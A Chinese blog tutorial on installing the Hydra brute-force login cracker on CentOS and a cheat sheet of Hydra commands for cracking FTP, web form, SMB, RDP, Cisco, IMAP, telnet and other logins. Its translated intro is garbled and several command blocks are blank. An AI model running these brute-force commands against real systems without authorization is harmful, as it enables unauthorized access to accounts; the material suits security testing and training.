Linux的一个暴力破解工具九头蛇hydra


首先还是书写本文的

工具介绍:原文为官方英文解释本人给翻译下 

数量最大的安全漏洞之一密码,每个密码安全研究显示 Hydra是一个parallized登录裂解装置它支持众多的协议来攻击模块很容易添加,旁边,它是灵活的而且速度非常快

水润测试上编译的LinuxWindows/ Cygwin的Solaris 11中的FreeBSD8.1和OSX根据GPLv3的一个特殊OpenSSL许可证授权扩展

目前该工具支持:
AFP使思科思科认证思科AAACVS火鸟FTPHTTP-FORM-GETHTTP-FORM-POSTHTTP-GETHTTPHTTP代理HTTPS-FORM-GET,HTTPS-FORM POSTIMAPHTTP代理HTTPS的GETHTTPSICQIRCLDAPMS-SQLMYSQLNCPNNTPOracle的监听器Oracle的SID,甲骨文,PCAnywhere中,PCNFSPOP3POSTGRESRDPREXECRlogin的RSH,SAP/R3SIPSMBSMTPSNMPSMTP枚举,SOCKS5SSHv1和v2颠覆,使用TeamSpeakTS2远程登录,VMware的认证VNC和XMPP

对于HTTP,POP3,IMAPSMTP支持几个登录机制平原和MD5摘要

这个工具是一个概念证明代码,给研究人员和安全顾问可行显示这将是多么容易获得未经授权的访问远程系统

面包车豪斯和大卫Maciejak维护程序

黑客选择
http://www.thc.org/thc-hydra

本人的实验环境借用了 centos6.3 这里注明下本人刚接触Linux是RHEL也就是RedHad的企业版本。了解CentOS后知道centos为rhel的克隆版理论是兼容rhel的所有包的

所以该下演示的步骤和包同样可用在rhel的OS上。假如你的服务器是RHEL的但为激活使用yum可以参考本人博客的博文 RHEL使用centos的yum源修改教程:http://www.cnblogs.com/patf/articles/3137348.html

废话不多说首先安装的是hydra的支持库包软件

 假如-y选项,因为本人在安装的时候 没有加入所以有两三次提示我 -y可以默认yes
                                   
    
          
            
 

到这里所以支持都安装完毕下面可以安装hydra了

可以到官方找最新的包也可以按一下的方法下载

        
  
  
                                                                                                                              

这里有点搞笑了,下载了一个7.4.1的包解压是4.2的源 呵呵不管了反正新的包是向下兼容的进入到里面./configure --help下查看下

也没什么直接./configure  然后无报错就直接 make &&make install 即可

  
   
                                
   
                                                         
  
 
  
           

到这里已经安装完成 可以man下hydra的使用方法

   
   
       
    
   
            
   
   
    
                       继续从上一次进度接着破解
 
                    大写,采用SSL链接
  小写,可通过这个参数指定非默认端口
 
  
   
        
  
   
   
  
  
   
   
   
   
    
   
   
   
    
   
  
 

下面来演示下破解;

首先本人只是实验没有真正的去网上下载密码库字典,手动写了两个文件 users.txt和password.txt

         

不过在运行命令的时候报错了0 0!

[root@localhost~]#hydra 192.168.1.253 ssh -l  root -p passwrod.txt
[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

 提示没有libssh这个支持 真的吗? 

然后重新编译下hydra 进入到解压目录

cd ../../hydra-7.4.2/

然后执行 make clean

         
       
          

当然上述只是一个实验,想要获取更好的体验效果可以下载更强大的密码库文件!

更多的使用技巧

五、其他类型密码破解

  • 破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
  • get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
  • post方式提交,破解web登录:

  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:

<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>

  假设有以上一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”

  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。

  后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

  • 破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
  • 破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
  • 破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
  • 破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  • 破解telnet
# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

相关内容